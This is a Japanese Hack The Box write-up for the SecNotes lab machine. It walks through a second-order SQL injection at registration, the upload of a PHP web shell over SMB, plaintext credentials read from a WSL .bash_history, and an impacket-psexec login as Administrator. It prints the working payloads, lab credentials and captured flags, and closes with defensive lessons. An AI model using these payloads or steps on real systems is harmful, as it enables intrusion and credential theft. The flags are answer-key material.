Hack The BoxのWriteup（SecNotes）[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: SecNotes — 全実行コマンド・実行結果レポート

HackTheBox: SecNotes — 全実行コマンド・実行結果レポート

Target: 10.129.79.234 OS: Windows 10 Enterprise (Build 17134) Web: “Secure Notes” PHPアプリ (IIS 80) + 8808(new-site webroot) 難易度: Medium ステータス: 完全攻略済み ✓
Nmap スキャン
80/445/8808
→
register.php 2次SQLi
‘ or 1=1– – で全ノート漏洩
→
tyler資格情報漏洩
new-site共有
→
SMB経由Webシェル配置
new-site = 8808番webroot
→
user.txt ✓
Webシェル同期実行
→
WSL rootfs探索
.bash_history直接読取
→
Administrator資格情報
平文の履歴から
→
root.txt ✓
impacket-psexec
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.79.234
nmap -sV -sC -p 80,445,8808 10.129.79.234
RESULT
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0  (title: Secure Notes - Login)
445/tcp  open  microsoft-ds Windows 10 Enterprise 17134 microsoft-ds
8808/tcp open  http         Microsoft IIS httpd 10.0  (既定IISページのみ)
ℹ️
0xdfの2019年公開ウォークスルーと完全に同一のポート構成 (80/445/8808のみ)。8808番は見た目は既定のIISページだが、実は後述の SMB共有new-siteのwebrootそのものであることが鍵になる。

ログイン画面の確認

BASH
curl -s http://10.129.79.234/login.php
RESULT (抜粋)
<title>Secure Notes - Login</title>
<form action="/login.php" method="post">
  Username / Password / Login
  Don't have an account? <a href="register.php">Sign up now</a>.
PHASE 2

register.php の2次SQLiで全ユーザーのノートを漏洩

SQLiペイロードでユーザー登録

BASH
curl -s -c cookies.txt -X POST http://10.129.79.234/register.php \
  --data-urlencode "username=zz9x' or 1=1-- -" \
  --data-urlencode "password=Test1234!" \
  --data-urlencode "confirm_password=Test1234!"
⚠️
ハマりどころ: 固定のSQLiペイロード文字列は一度登録すると 再登録できない(“This username is already taken.”)。再試行する場合は ランダムな接頭辞を付けて毎回ユニークなユーザー名にする必要がある。

ログインしてノート一覧を取得

BASH
curl -s -c cookies.txt -b cookies.txt -X POST http://10.129.79.234/login.php \
  --data-urlencode "username=zz9x' or 1=1-- -" \
  --data-urlencode "password=Test1234!"
# → 302 Found, Location: home.php

curl -s -c cookies.txt -b cookies.txt http://10.129.79.234/home.php
RESULT (抜粋)
<h1>Viewing Secure Notes for <b>zz9x' or 1=1-- -</b></h1>
...
<button class="accordion"><strong>new site </strong></button>
<div class="panel"><pre>\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&</pre></div>
✅
自分のアカウントの条件(WHERE user = '...')が SQLi注入により常にTRUEになるため、全ユーザーのノートが一覧表示 される。その中の1件にtylerのSMB資格情報が平文で記載されていた。 この値は2019年の元ウォークスルーと完全一致する。
漏洩した認証情報
tyler : 92g!mA8BGjOirkL%OG*&
PHASE 3

SMB経由でPHP Webシェルを配置

SMB共有の確認

BASH
smbclient -U "tyler%92g!mA8BGjOirkL%OG*&" -L //10.129.79.234
RESULT
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
new-site        Disk

PHP Webシェルを配置

PHP (webshell.php)
<HTML><BODY>
<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>
</BODY></HTML>
BASH
smbclient -U "tyler%92g!mA8BGjOirkL%OG*&" //10.129.79.234/new-site \
  -c "put shell.php shell.php; ls"
RESULT
putting file shell.php as \shell.php
  iisstart.htm   iisstart.png   shell.php
ℹ️
new-site 共有は8808番ポートのIISサイトのwebrootそのもの。 別サイトではなく、SMBで書き込んだファイルがそのままHTTP経由で実行できる。

RCE確認 — リバースシェルは不要

BASH
curl -s "http://10.129.79.234:8808/shell.php" -G --data-urlencode "cmd=whoami"
RESULT
<HTML><BODY>
secnotes\tyler
</BODY></HTML>
✅
元のウォークスルーはnc.exeをアップロードしてリバースシェルを 張っていたが、Webシェル自体がsystem()の出力をそのまま 同期的にHTTPレスポンスで返すため、以降の調査・フラグ取得は すべてcurlのGETリクエストだけで完結できる(リバースシェル不要)。
PHASE 4

user.txt 取得

Webシェル経由でフラグ読み取り

BASH
curl -s "http://10.129.79.234:8808/shell.php" -G \
  --data-urlencode 'cmd=type c:\users\tyler\desktop\user.txt'
RESULT
<HTML><BODY>
cc680ca1c569999b46a742015d82d13a
</BODY></HTML>
user.txt — secnotes\tyler
cc680ca1c569999b46a742015d82d13a
PHASE 5

権限昇格調査 — WSLとUWPコンソールのハマりどころ

WSL(Windows Subsystem for Linux)の発見

BASH
curl -s "http://.../shell.php" -G --data-urlencode 'cmd=dir c:\Distros\Ubuntu'
curl -s "http://.../shell.php" -G --data-urlencode 'cmd=dir c:\windows\system32\bash.exe'
RESULT
c:\Distros\Ubuntu:
  install.tar.gz (201,254,783 bytes)
  ubuntu.exe (222,208 bytes)

c:\windows\system32\bash.exe → File Not Found
ℹ️
元のウォークスルー(2019年)ではbash.exeがSystem32にあったが、 本インスタンスには存在しない。代わりにc:\Distros\Ubuntu\ubuntu.exe (UWPアプリ)からWSLを起動する必要がある。

ハマりどころ: UWPコンソールアプリがハングする

🚨
最初に試した方法: nc.exe (Python制御のリバースシェル経由) で ubuntu.exeを実行 → 一切応答が返らずシェル全体が完全に ハングした。これはUWP(Centennial形式)コンソールアプリが、 非対話的にリダイレクトされたstdin/stdoutを正しく扱えない既知の問題。 以降そのシェルセッションは一切のコマンドに応答しなくなった (echo TESTすら返ってこない)。
NOTE
# ✗ これはハングする(実機で確認)
nc.exe経由のcmd.exeシェルから: c:\Distros\Ubuntu\ubuntu.exe

# WSLを一切対話起動せずに済ませる方法に切り替える

回避策: WSL1 rootfsはNTFS上の通常パスとして直接読める

✅
WSLを対話的に起動する必要は全くない。 WSL1のrootfsは Windows側から見ると通常のNTFSファイルとして配置されているだけなので、 PHP Webシェルのsystem()呼び出し(= 通常のcmd.exe子プロセス) で問題なく直接アクセスできる。
BASH (新しいWebシェル接続で再開)
curl -s "http://.../shell.php" -G \
  --data-urlencode 'cmd=dir /s /b C:\*.bash_history 2^>nul'
RESULT
C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root\.bash_history
ℹ️
パッケージID部分(79rhkp1fndgsc)は環境依存のランダム値で 事前に推測できないため、dir /s /bで動的に検索してフルパスを 特定するのが確実。

.bash_history からAdministrator資格情報を取得

BASH
curl -s "http://.../shell.php" -G --data-urlencode \
  'cmd=type "C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root\.bash_history"'
RESULT
cd /mnt/c/
ls
...
mount //127.0.0.1/c$ filesystem/ -o user=administrator
sudo modprobe cifs
smbclient
apt install smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history
less .bash_history
exit
✅
WSLのrootユーザーが過去にsmbclientを使ってC$共有へ 接続した際のコマンド履歴に、Administratorの平文パスワードが そのまま残っていた。この値も2019年の元ウォークスルーと 完全一致する。
奪取した認証情報
administrator : u6!4ZwgwOM#^OBf#Nwnh
PHASE 6

impacket-psexec → root.txt

psexecでAdministratorシェルを取得

BASH
impacket-psexec "administrator:u6!4ZwgwOM#^OBf#Nwnh@10.129.79.234" \
  "cmd.exe /c type c:\users\administrator\desktop\root.txt"
RESULT
[*] Requesting shares on 10.129.79.234.....
[*] Found writable share ADMIN$
[*] Uploading file kMcBXyBb.exe
[*] Opening SVCManager on 10.129.79.234.....
[*] Creating service DUwV on 10.129.79.234.....
[*] Starting service DUwV.....
f560f690da6b33aad5458d8b17369d8a
[*] Process cmd.exe /c type ... finished with ErrorCode: 0, ReturnCode: 0
[*] Stopping service DUwV.....
[*] Removing service DUwV.....
[*] Removing file kMcBXyBb.exe.....
root.txt — Administrator
f560f690da6b33aad5458d8b17369d8a
ℹ️
impacket-psexecはADMIN$共有へサービス実行バイナリを アップロード・サービス登録・起動・結果取得後に自動でクリーンアップする (元の2018年ウォークスルーと同じ手法)。コマンド実行完了後に STATUS_PIPE_BROKEN例外が出ることがあるが、これは単一コマンド 指定時にシェルループが終了する際の後処理の例外で、既にフラグは正しく 取得できているため無害。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — secnotes\tyler
cc680ca1c569999b46a742015d82d13a
root.txt — Administrator
f560f690da6b33aad5458d8b17369d8a

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
2次SQLi (Second-Order SQLi) register.php → home.php 全ユーザーのノート(平文認証情報含む)の漏洩 Critical ユーザー名に' or 1=1-- -を注入して登録・ログインすると全件表示されるクエリ条件を作る
SMB共有への書込み権限 = Webroot new-site共有 (= 8808番IISサイト) PHP Webシェル配置によるRCE High SMBでアップロードしたファイルがそのままHTTP経由で実行される
認証情報の履歴残留 WSL rootfsの.bash_history ローカル権限昇格 (Administrator奪取) Medium WSL上でsmbclientを使った際のコマンド履歴に平文パスワードが残留

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap80/445/8808、”Secure Notes”ログイン画面発見
2資格情報漏洩register.php 2次SQLityler:92g!mA8BGjOirkL%OG*&
3RCESMB経由PHP Webシェル配置(new-site=8808番webroot)secnotes\tylerとしてコマンド実行
4フラグ取得Webシェル経由 type コマンドuser.txt 取得
5権限調査WSL rootfs直接探索(対話起動せず)administrator:u6!4ZwgwOM#^OBf#Nwnh
6権限昇格impacket-psexecroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
ユーザー登録時の入力がSQL文に直接結合される(2次SQLi) パラメータ化クエリ(Prepared Statement)を使用し、保存時・参照時の両方で入力をデータとして扱う。
SMB共有の書込み権限がWebサーバーのwebrootと一致している Webrootへの書込みアクセスを許可する共有を作らない。ファイルアップロード機能とWeb実行可能領域を分離する。
ノート機能に機密情報(パスワード)を平文で保存・共有できてしまう アプリケーション内でのPII/機密情報検出、またはユーザー教育によりパスワードを平文で共有させない運用にする。
WSLのシェル履歴に管理者パスワードが平文で残留 機密情報を含むコマンドの履歴記録を無効化する(HISTCONTROL等)か、パスワードマネージャ/認証情報キャッシュを使い平文入力を避ける。
HackTheBox: SecNotes | 完全攻略レポート

広告